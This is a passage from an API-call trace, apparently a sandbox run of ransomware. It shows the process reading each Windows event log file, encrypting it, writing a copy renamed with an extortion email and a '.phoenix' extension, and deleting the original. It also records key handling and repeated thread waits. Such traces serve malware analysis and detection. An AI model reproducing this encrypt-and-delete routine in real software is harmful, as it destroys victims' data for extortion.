	[0214.317] CloseHandle (hObject=0x534) returned 1
	[0214.317] CloseHandle (hObject=0x550) returned 1
	[0214.319] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1
	[0214.320] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.320] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.320] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=69632) returned 1
	[0214.320] CloseHandle (hObject=0x550) returned 1
	[0214.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20
	[0214.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.321] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.321] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.321] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.321] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.322] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f724 | out: phKey=0x3e5f724*=0x664f98) returned 1
	[0214.322] CryptSetKeyParam (hKey=0x664f98, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.322] ReadFile (in: hFile=0x550, lpBuffer=0x420e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e5f74c, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesRead=0x3e5f74c*=0x11000, lpOverlapped=0x0) returned 1
	[0214.342] CryptEncrypt (in: hKey=0x664f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010, dwBufLen=0x11010 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010) returned 1
	[0214.342] WriteFile (in: hFile=0x534, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x11010, lpOverlapped=0x0) returned 1
	[0214.344] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f728 | out: phKey=0x3e5f728*=0x6652d8) returned 1
	[0214.344] CryptSetKeyParam (hKey=0x6652d8, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.344] CryptEncrypt (in: hKey=0x6652d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0xa0, dwBufLen=0xa0 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0xa0) returned 1
	[0214.344] CryptDestroyKey (hKey=0x6652d8) returned 1
	[0214.344] WriteFile (in: hFile=0x534, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x152, lpOverlapped=0x0) returned 1
	[0214.344] CryptDestroyKey (hKey=0x664f98) returned 1
	[0214.344] CloseHandle (hObject=0x550) returned 1
	[0214.344] CloseHandle (hObject=0x534) returned 1
	[0214.346] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1
	[0214.347] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.347] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.347] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=69632) returned 1
	[0214.347] CloseHandle (hObject=0x534) returned 1
	[0214.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20
	[0214.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.347] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.348] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.348] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.348] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.348] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f724 | out: phKey=0x3e5f724*=0x665758) returned 1
	[0214.348] CryptSetKeyParam (hKey=0x665758, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.348] ReadFile (in: hFile=0x534, lpBuffer=0x420e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e5f74c, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesRead=0x3e5f74c*=0x11000, lpOverlapped=0x0) returned 1
	[0214.364] CryptEncrypt (in: hKey=0x665758, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010, dwBufLen=0x11010 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010) returned 1
	[0214.364] WriteFile (in: hFile=0x550, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x11010, lpOverlapped=0x0) returned 1
	[0214.366] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f728 | out: phKey=0x3e5f728*=0x665718) returned 1
	[0214.366] CryptSetKeyParam (hKey=0x665718, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.366] CryptEncrypt (in: hKey=0x665718, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0xa0, dwBufLen=0xa0 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0xa0) returned 1
	[0214.366] CryptDestroyKey (hKey=0x665718) returned 1
	[0214.366] WriteFile (in: hFile=0x550, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x152, lpOverlapped=0x0) returned 1
	[0214.367] CryptDestroyKey (hKey=0x665758) returned 1
	[0214.367] CloseHandle (hObject=0x534) returned 1
	[0214.367] CloseHandle (hObject=0x550) returned 1
	[0214.368] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1
	[0214.369] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.370] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.370] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=69632) returned 1
	[0214.370] CloseHandle (hObject=0x550) returned 1
	[0214.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20
	[0214.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.370] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.370] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.370] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.370] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.371] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f724 | out: phKey=0x3e5f724*=0x6651d8) returned 1
	[0214.371] CryptSetKeyParam (hKey=0x6651d8, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.371] ReadFile (in: hFile=0x550, lpBuffer=0x420e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e5f74c, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesRead=0x3e5f74c*=0x11000, lpOverlapped=0x0) returned 1
	[0214.378] CryptEncrypt (in: hKey=0x6651d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010, dwBufLen=0x11010 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010) returned 1
	[0214.378] WriteFile (in: hFile=0x534, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x11010, lpOverlapped=0x0) returned 1
	[0214.380] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f728 | out: phKey=0x3e5f728*=0x6655d8) returned 1
	[0214.380] CryptSetKeyParam (hKey=0x6655d8, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.380] CryptEncrypt (in: hKey=0x6655d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x80, dwBufLen=0x80 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x80) returned 1
	[0214.380] CryptDestroyKey (hKey=0x6655d8) returned 1
	[0214.380] WriteFile (in: hFile=0x534, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x132, lpOverlapped=0x0) returned 1
	[0214.380] CryptDestroyKey (hKey=0x6651d8) returned 1
	[0214.380] CloseHandle (hObject=0x550) returned 1
	[0214.380] CloseHandle (hObject=0x534) returned 1
	[0214.382] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1
	[0214.383] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f718, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f780 | out: phKey=0x3e5f780*=0x665558) returned 1
	[0214.383] CryptSetKeyParam (hKey=0x665558, dwParam=0x1, pbData=0x3e5f768, dwFlags=0x0) returned 1
	[0214.383] CryptDecrypt (in: hKey=0x665558, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29610, pdwDataLen=0x3e5f734 | out: pbData=0xd29610, pdwDataLen=0x3e5f734) returned 1
	[0214.383] CryptDestroyKey (hKey=0x665558) returned 1
	[0214.383] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0214.389] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x74af6b50
	[0214.389] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1
	[0214.389] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29610 | out: hHeap=0xd20000) returned 1

Thread:
	id = 82
	os_tid = 0xd44

	[0212.714] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x35740b8
	[0212.715] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x4320048
	[0212.716] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd21530
	[0212.716] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x110102) returned 0x452c020
	[0212.719] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x50) returned 0xd295e0
	[0212.719] CryptImportKey (in: hProv=0x616790, pbData=0x3f9f978, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3f9f9e0 | out: phKey=0x3f9f9e0*=0x645a38) returned 1
	[0212.720] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0x3f9f9c8, dwFlags=0x0) returned 1
	[0212.720] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd295e0, pdwDataLen=0x3f9f994 | out: pbData=0xd295e0, pdwDataLen=0x3f9f994) returned 1
	[0212.720] CryptDestroyKey (hKey=0x645a38) returned 1
	[0212.720] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0212.720] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0212.720] Wow64DisableWow64FsRedirection (in: OldValue=0x3f9fa2c | out: OldValue=0x3f9fa2c*=0x0) returned 1
	[0212.720] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd295e0 | out: hHeap=0xd20000) returned 1
	[0212.720] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.720] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.720] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.721] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.722] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.724] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.725] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.726] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.727] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.728] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.729] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.730] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
